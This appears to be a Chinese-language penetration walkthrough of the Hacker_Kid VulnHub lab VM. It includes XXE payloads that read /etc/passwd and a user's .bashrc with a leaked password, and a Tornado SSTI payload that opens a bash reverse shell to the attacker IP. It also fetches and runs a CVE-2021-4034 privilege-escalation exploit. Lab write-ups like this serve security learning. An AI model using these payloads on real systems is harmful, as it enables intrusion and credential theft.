Hacker_Kid-v1.0.1靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:Hacker_Kid-v1.0.1
平台:VMware Workstation 16.2
靶机为NAT模式
一、信息搜集
1.IP扫描
nmap 192.168.9.0/24
扫描出靶机IP为:192.168.9.145
2.端口扫描
nmap -A -p- 192.168.9.145
端口开放情况如下
| 端口号 | 服务 |
|---|---|
| 53 | DNS解析服务 |
| 80 | HTTP |
| 9999 | abyss |
二、漏洞利用
1.漏洞挖掘
访问其http服务

查看网页的源码

提示传page_no参数
再Burp Suite中对page_no爆破

在payload中设置

开始爆破,得到当page_no为21的时候,长度不同

访问http://192.168.9.145/?page_no=21,网页下面会多出一段话

根据提示,存在hackers.blackhat.local域名,将该域名添加至hosts文件
vim /etc/hosts# Vulnhub - Hacker_Kid
192.168.9.145 hackers.blackhat.local blackhat.local
对该域名进行子域爆破
dig hackers.blackhat.local @192.168.9.145
发现还存在hackerkid.blackhat.local子域名
同样将该子域名加入到hosts文件中
在浏览器中访问hackerkid.blackhat.local

随便填入内容提交,并抓包

推测存在xxe实体注入
构造POC
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
存在saket用户
通过php://filter伪协议查看位于/home/saket/.bashrc文件内容
POC:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
将base64解码之后,得到一个用户名和密码

username="admin"
password="Saket!#$%@!!"访问9999端口的服务,发现需要用户名和密码进行登录

当使用刚刚解码的用户名和密码进行登录时提示错误,于是尝试换用saket作为用户名进行登录

推测GET传name参数

该网页使用Tornado模板,测试SSTI注入
当name参数为{{5*5}}时,回显为25,表明存在SSTI模板注入漏洞

构造POC
{% import os %}{undefined{os.system('bash -c "bash -i >& /dev/tcp/172.31.223.206/1234 0>&1"')}}会报错,将POC进行url编码
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.31.223.206%2F1234%200%3E%261%22%27%29%7D%7D
三、提权
使用CVE-2021-4034进行内核提权
将CVE克隆到本地进行编译
git clone https://gitee.com/distancexx/CVE-2021-4034.git在kali中启用http服务
python3 -m http.server 81在靶机中将打包好的CVE压缩包wget下来
wget http://172.31.223.206:81/1.tar.gz ./直接运行CVE
./cve-2021-4034



































































































































